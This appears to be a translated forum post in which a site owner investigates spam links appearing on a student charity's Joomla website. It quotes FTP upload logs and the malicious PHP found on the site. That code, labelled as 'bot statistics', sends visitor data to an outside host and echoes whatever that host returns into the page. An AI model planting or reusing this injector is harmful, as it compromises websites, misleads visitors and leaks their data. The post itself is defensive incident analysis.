请看底部的第二次跟进!(现在添加了真正的恶意代码!...ish)
在这个问题的提示下,我注意到我大学的学生慈善组织在他们的网站上有一个有趣的问题,到目前为止我一直无法找到原因。(抱歉,如果这在 ServerFault 上会更好,但服务器本身似乎没有任何问题,更多的是恶意软件问题!)
他们的网站http://duck.dsu.org.uk/在页面底部有一大堆色情/恶意软件链接(对我来说看起来像这样),但我认为,只有当你从O2 宽带连接。如果您在大学的网络或其他 ISP 中查看它,则底部根本不会显示任何内容,而且不出所料,在 CMS 管理页面中,模板或页面中都不会显示任何内容。
我 99% 确定服务器不在大学的网络内,查看它的 IP(认为它是由“A Small Orange”托管的)。我绝对不是唯一看到此问题的人,尽管我不确定它是否仅针对单个英国 ISP,O2 宽带(另一个 ISP 的朋友,TalkTalk 已确认他什么也没看到)。在此之前,我从未见过这样的事情,这不是服务器被黑客入侵并将代码输入页面的简单案例。
我将不胜感激有关解决此问题的路线的任何想法,有关可能导致此问题的任何想法以及任何其他建议!
谢谢。
对,现在作为前一个的后续(感谢大家的帮助),我现在已经成功说服网络托管公司给我 SSH 访问权限。我发现该.htaccess文件已被修改,当前.htaccess文件如下:link,我假设这至少是问题的一部分。从清理的角度来看(在前进/再次清理站点方面),我知道我应该擦除整个服务器并重新开始。
但是,它是一个共享托管服务器,所以我无法擦除它,因为我无法控制整个服务器。我已经向网络主机商指出它已被黑客入侵,他们的建议是:
该帐户是一个共享主机帐户,但访问权限仅限于该帐户本身。用户级别的妥协不能对服务器本身进行任何修改。
由于服务器上的任何内容都没有受到损害(只有您的帐户),因此提供的越狱访问权限足以让您调查和清理此帐户。
这是真的?我可以正确清理它吗?我猜如果他们在我的网站上运行的软件(即Joomla)中使用了漏洞,那么是的,它只是我的服务器的一部分被攻破了。但是,如果它是服务器运行的操作系统中的一个漏洞,那么显然整个问题都可能受到损害 - 有没有办法解决它可能是什么?
在之前的链接中:我已经看到并阅读了所有这些。
...我现在有日志显示他们做了什么:
Thu Feb 02 14:35:46 2012 0 213.5.xxx.xxx 45 /home/durhamdu/__check.html a _ i r durhamdu ftp 1 * c
Thu Feb 02 14:35:49 2012 0 213.5.xxx.xxx 45 /home/durhamdu/public_html/__check.html a _ i r durhamdu ftp 1 * c
Thu Feb 02 14:35:53 2012 0 213.5.xxx.xxx 34957 /home/durhamdu/public_html/libraries/joomla/environment/url.php a _ i r durhamdu ftp 1 * c
Mon Apr 09 04:21:53 2012 0 128.127.xxx.xxx 45 /home/durhamdu/__check.html a _ i r durhamdu ftp 1 * c
Mon Apr 09 04:22:00 2012 0 128.127.xxx.xxx 45 /home/durhamdu/public_html/__check.html a _ i r durhamdu ftp 1 * c
Mon Apr 09 04:22:06 2012 0 128.127.xxx.xxx 1457 /home/durhamdu/public_html/mooving/check.php a _ i r durhamdu ftp 1 * c
Mon Apr 09 04:22:09 2012 0 128.127.xxx.xxx 17986 /home/durhamdu/public_html/mooving/laundro.php a _ i r durhamdu ftp 1 * c
Mon Apr 09 04:22:18 2012 0 128.127.xxx.xxx 52457 /home/durhamdu/public_html/.htaccess a _ i r durhamdu ftp
引用的文件不再存在,但链接仍然显示,即使我更改了可疑.htaccess文件的文件名。唔...
好的,所以在第二次跟进中,我现在找到了恶意代码,供大家阅读:
<?php
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$sReferer = '';
if(isset($_SERVER['HTTP_REFERER']) === true)
{
$sReferer = strtolower($_SERVER['HTTP_REFERER']);
}
$stCurlHandle = NULL;
if(!(strpos($sUserAgent, 'google') === false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true) // Create bot analitics
$stCurlHandle = curl_init('http://webdefense1.net/Stat/StatJ/Stat.php?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']).'&ref='.urlencode($sReferer));
} else
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true) // Create bot analitics
$stCurlHandle = curl_init('http://webdefense1.net/Stat/StatJ/Stat.php?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&addcheck='.'&check='.isset($_GET['look']).'&ref='.urlencode($sReferer));
}
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
$sResult = curl_exec($stCurlHandle);
curl_close($stCurlHandle);
echo $sResult; // Statistic code end
?>
我现在显然已经删除了它,并且即将修补 Joomla 安装.. 感谢大家的帮助!:-)